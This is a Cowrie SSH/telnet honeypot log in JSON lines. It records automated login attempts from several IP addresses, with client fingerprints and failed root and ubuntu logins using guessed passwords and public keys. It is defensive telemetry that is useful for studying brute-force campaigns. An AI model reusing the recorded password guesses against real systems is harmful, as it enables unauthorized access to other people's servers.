{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:21.497525Z","src_ip":"152.32.171.213","session":"9e4d23599ed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ewqasdcxz","message":"login attempt [root/123ewqasdcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:22.385758Z","src_ip":"152.32.171.213","session":"9e4d23599ed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36066,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b83d20dcb1","protocol":"ssh","message":"New connection: 80.66.85.226:36066 (10.17.0.5:22) [session: 10b83d20dcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:23.178863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:23.183196Z","src_ip":"80.66.85.226","session":"10b83d20dcb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:23.270869Z","src_ip":"80.66.85.226","session":"10b83d20dcb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13577531","message":"login attempt [root/13577531] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:23.535253Z","src_ip":"80.66.85.226","session":"10b83d20dcb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:23.602105Z","src_ip":"152.32.171.213","session":"9e4d23599ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:24.625513Z","src_ip":"80.66.85.226","session":"10b83d20dcb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.465473651885986,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:15:43.441098Z","src_ip":"172.81.62.90","session":"a39d0e1c640c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0246946811676,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:02.377036Z","src_ip":"94.23.66.112","session":"947624ff4ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33972,"dst_ip":"159.203.135.109","dst_port":23,"session":"303d5d1b211e","protocol":"telnet","message":"New connection: 172.81.62.90:33972 (159.203.135.109:23) [session: 303d5d1b211e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:12.124185Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":47700,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb71ae7ca4a7","protocol":"ssh","message":"New connection: 194.113.233.25:47700 (10.17.0.5:22) [session: bb71ae7ca4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:20.603676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:20.607139Z","src_ip":"194.113.233.25","session":"bb71ae7ca4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:20.697575Z","src_ip":"194.113.233.25","session":"bb71ae7ca4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:20.971603Z","src_ip":"194.113.233.25","session":"bb71ae7ca4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:22.065643Z","src_ip":"194.113.233.25","session":"bb71ae7ca4a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":60994,"dst_ip":"159.203.135.109","dst_port":22,"session":"1841c1fb8e10","protocol":"ssh","message":"New connection: 46.29.234.126:60994 (159.203.135.109:22) [session: 1841c1fb8e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:27.071603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:27.075479Z","src_ip":"46.29.234.126","session":"1841c1fb8e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:27.196195Z","src_ip":"46.29.234.126","session":"1841c1fb8e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123456","message":"login attempt [ubuntu/Ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:27.677853Z","src_ip":"46.29.234.126","session":"1841c1fb8e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:28.793453Z","src_ip":"46.29.234.126","session":"1841c1fb8e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":54756,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de198a71884","protocol":"ssh","message":"New connection: 62.210.207.172:54756 (10.17.0.5:22) [session: 4de198a71884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.177551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.181029Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.264086Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.179659605026245,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.303664Z","src_ip":"172.81.62.90","session":"303d5d1b211e","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:9a:85:da:35:51:30:a5:20:31:27:35:f3:62:f3:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTf8Blbn2oODEgBdrSErvK0MEFgJ9vr/wtMt1fNg4plwRvoKT2VueQvBMajPc0TGU+IZzbwC0Ut3id5msHZV7T5jlReEzRJGGjDbiq/GzYJk3Yt8K+81NGKQsiCY8cXK7f9i5xO+kYcQhCVfUl81gWhfOWPfRm2NKtEoPwqrdIU6/Z5hD8B3k3g0crxHldz2MwQcxzcUYidxvyo7jw6gWgnyLDqLa3cHDaGtmtKPFLnyYVpvdJe85U9RYKNi+BGAtuoQBxBnQ5WPGCNZOZNSSbCuL5Su43umWWPc+5jtDts1JSSPC++nywYdkDxOlrRZ+zpVIwjAFTvQPRAhmj67w4WSvL+94UKs1qYyCsLebiUi1jdnP26KdWKfdX+M/aws7IHMRoDa/xr1X/BWHg96SeVEiHqGaBuXthdGcRS9gZzuDVUq0t3V8tqEbT3GCPr29r2GmJ7+wU3fp7KZ90B/DrbpdZDvyheSeGw27rYRAl8LnoOHs4751o92XaUXg9BuHmRocuoTLGKPk04HHXvquOVDydvt/Zmb3NoLQUgpeJcQ152j+plZaNTtDrLRG+zXbsMaR0/AUdOCpksiEuI7sVoyTMv40WyxqIXdtTAAShLmOSZ0sjvmjZYVGGOS/fYhNHLb/41X9U+0j78igav8N9H998lhcpYjJPOQG5zGQ79w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:9a:85:da:35:51:30:a5:20:31:27:35:f3:62:f3:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.653523Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:9a:85:da:35:51:30:a5:20:31:27:35:f3:62:f3:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTf8Blbn2oODEgBdrSErvK0MEFgJ9vr/wtMt1fNg4plwRvoKT2VueQvBMajPc0TGU+IZzbwC0Ut3id5msHZV7T5jlReEzRJGGjDbiq/GzYJk3Yt8K+81NGKQsiCY8cXK7f9i5xO+kYcQhCVfUl81gWhfOWPfRm2NKtEoPwqrdIU6/Z5hD8B3k3g0crxHldz2MwQcxzcUYidxvyo7jw6gWgnyLDqLa3cHDaGtmtKPFLnyYVpvdJe85U9RYKNi+BGAtuoQBxBnQ5WPGCNZOZNSSbCuL5Su43umWWPc+5jtDts1JSSPC++nywYdkDxOlrRZ+zpVIwjAFTvQPRAhmj67w4WSvL+94UKs1qYyCsLebiUi1jdnP26KdWKfdX+M/aws7IHMRoDa/xr1X/BWHg96SeVEiHqGaBuXthdGcRS9gZzuDVUq0t3V8tqEbT3GCPr29r2GmJ7+wU3fp7KZ90B/DrbpdZDvyheSeGw27rYRAl8LnoOHs4751o92XaUXg9BuHmRocuoTLGKPk04HHXvquOVDydvt/Zmb3NoLQUgpeJcQ152j+plZaNTtDrLRG+zXbsMaR0/AUdOCpksiEuI7sVoyTMv40WyxqIXdtTAAShLmOSZ0sjvmjZYVGGOS/fYhNHLb/41X9U+0j78igav8N9H998lhcpYjJPOQG5zGQ79w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.656689Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:e8:66:2b:92:73:bd:ff:c6:5c:e2:bd:5b:08:70:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7NVjMXqanyAsnxAFwxKhJTJ1WL14bbkYnOjBnWOzzMSAY2lFzaeKci5T/e/93r2KAEcJMK7rZckX1pRwGQIm132vuAgovarcTb+jWsmIckx5yHlR4awgdGucEgk8nNAlgC/DFbEm3LuSNbuGCalDFNx4au/kPvgCdRmSSlYkTgxy/SXQ5th+7ncWvSyr+P+px4zTReutAHx/hjmTD7xed68WnD+RfBE0DNR7+neOOE1TUiY5QM/WTmoxvrXlbp0Ll56eqGBTMPEmfTbouP0mvbOZZbuEs2Rjzbtu7bLwYAIeCGMTgJwiiNrziaMUqvPEt0PfuaEpA1iq1/EKeB/ZpcXNmZ6CuTzGFn0tf4YTOaV4Qgf4hgcCizmjmp687+IeRCI3FBtZGbD8P4zLjON12wBiPc1EE12n/4wWxeRMRBEH3ufNyUST7OC4iVUVJvwIhGPo9d1+veQPLdiam156y14X/RtkAvESmBmdRK4CkAgwzEaD+Bu+tdKnOY1AcEtE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:e8:66:2b:92:73:bd:ff:c6:5c:e2:bd:5b:08:70:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.741152Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:e8:66:2b:92:73:bd:ff:c6:5c:e2:bd:5b:08:70:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7NVjMXqanyAsnxAFwxKhJTJ1WL14bbkYnOjBnWOzzMSAY2lFzaeKci5T/e/93r2KAEcJMK7rZckX1pRwGQIm132vuAgovarcTb+jWsmIckx5yHlR4awgdGucEgk8nNAlgC/DFbEm3LuSNbuGCalDFNx4au/kPvgCdRmSSlYkTgxy/SXQ5th+7ncWvSyr+P+px4zTReutAHx/hjmTD7xed68WnD+RfBE0DNR7+neOOE1TUiY5QM/WTmoxvrXlbp0Ll56eqGBTMPEmfTbouP0mvbOZZbuEs2Rjzbtu7bLwYAIeCGMTgJwiiNrziaMUqvPEt0PfuaEpA1iq1/EKeB/ZpcXNmZ6CuTzGFn0tf4YTOaV4Qgf4hgcCizmjmp687+IeRCI3FBtZGbD8P4zLjON12wBiPc1EE12n/4wWxeRMRBEH3ufNyUST7OC4iVUVJvwIhGPo9d1+veQPLdiam156y14X/RtkAvESmBmdRK4CkAgwzEaD+Bu+tdKnOY1AcEtE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.744649Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:7e:61:ef:e7:b4:2b:6f:e0:1f:58:37:96:9d:37:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjQqKxgfpoqhzcrsxB7h4efRV0v07jZB8O6xUHv5/E28ge65HoxYbhOgR4fTHgt5GvQJVvOBPo2HlJDTHr53t0C41gWlhnRh4mM/NYkR640SMNY6wCtEqY0XnJKtfg4J7axECn4ukaLdgsfQBjrPyseRX3CXEWbf03nR/8l3mzGuu62VfeekQzZkFp72Lxu6oLHTxq1CFu560H8o+44kqwFF7juT+WnoRBGJgQpd3+iXf8iNStT+sojzlv2OaO8SfmTFpIpTSb0Q7ULa7nQGTeZYczA/kYj1qe+kAsSc/oI8rPrbV0unb4A0syxXwDf9BggSnKVUDgSvoqKUU03QT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:7e:61:ef:e7:b4:2b:6f:e0:1f:58:37:96:9d:37:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.828293Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:7e:61:ef:e7:b4:2b:6f:e0:1f:58:37:96:9d:37:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjQqKxgfpoqhzcrsxB7h4efRV0v07jZB8O6xUHv5/E28ge65HoxYbhOgR4fTHgt5GvQJVvOBPo2HlJDTHr53t0C41gWlhnRh4mM/NYkR640SMNY6wCtEqY0XnJKtfg4J7axECn4ukaLdgsfQBjrPyseRX3CXEWbf03nR/8l3mzGuu62VfeekQzZkFp72Lxu6oLHTxq1CFu560H8o+44kqwFF7juT+WnoRBGJgQpd3+iXf8iNStT+sojzlv2OaO8SfmTFpIpTSb0Q7ULa7nQGTeZYczA/kYj1qe+kAsSc/oI8rPrbV0unb4A0syxXwDf9BggSnKVUDgSvoqKUU03QT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.831390Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:d9:0c:16:9a:f9:a8:e2:6d:01:50:cd:ec:e3:aa:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4Ks242Mnno7FLPHMJT3gZYPAgqeG0MrGj/Far8x53xkH1EvEy6cp1avAd2i6KPjwxNQPNDvfv6bM87wC/mng6vxuKaogddEoxZIfnVvhansoVUrSHamI98/aHb0dHaFxdBJ4udrug9NfMrqQX/J5Zwqfclb55HMdQfZrAYlBSaZF/taMU0DmQzc9jcc5XpUATUwDNcE56E+Zip/ndCcT/8wFs5WesahWrzqk7nWWkqIK5NMHEg+9PfLaFPITd5AYwbEXn000ge3h3QJP8cMusSHlN2Wc/dJdiYhCjYc9lkRD66It94kXuW9zYdSi9EzcnSc7KPl3sjyKlBJZUMPV7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:d9:0c:16:9a:f9:a8:e2:6d:01:50:cd:ec:e3:aa:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.912543Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:d9:0c:16:9a:f9:a8:e2:6d:01:50:cd:ec:e3:aa:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4Ks242Mnno7FLPHMJT3gZYPAgqeG0MrGj/Far8x53xkH1EvEy6cp1avAd2i6KPjwxNQPNDvfv6bM87wC/mng6vxuKaogddEoxZIfnVvhansoVUrSHamI98/aHb0dHaFxdBJ4udrug9NfMrqQX/J5Zwqfclb55HMdQfZrAYlBSaZF/taMU0DmQzc9jcc5XpUATUwDNcE56E+Zip/ndCcT/8wFs5WesahWrzqk7nWWkqIK5NMHEg+9PfLaFPITd5AYwbEXn000ge3h3QJP8cMusSHlN2Wc/dJdiYhCjYc9lkRD66It94kXuW9zYdSi9EzcnSc7KPl3sjyKlBJZUMPV7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.915303Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
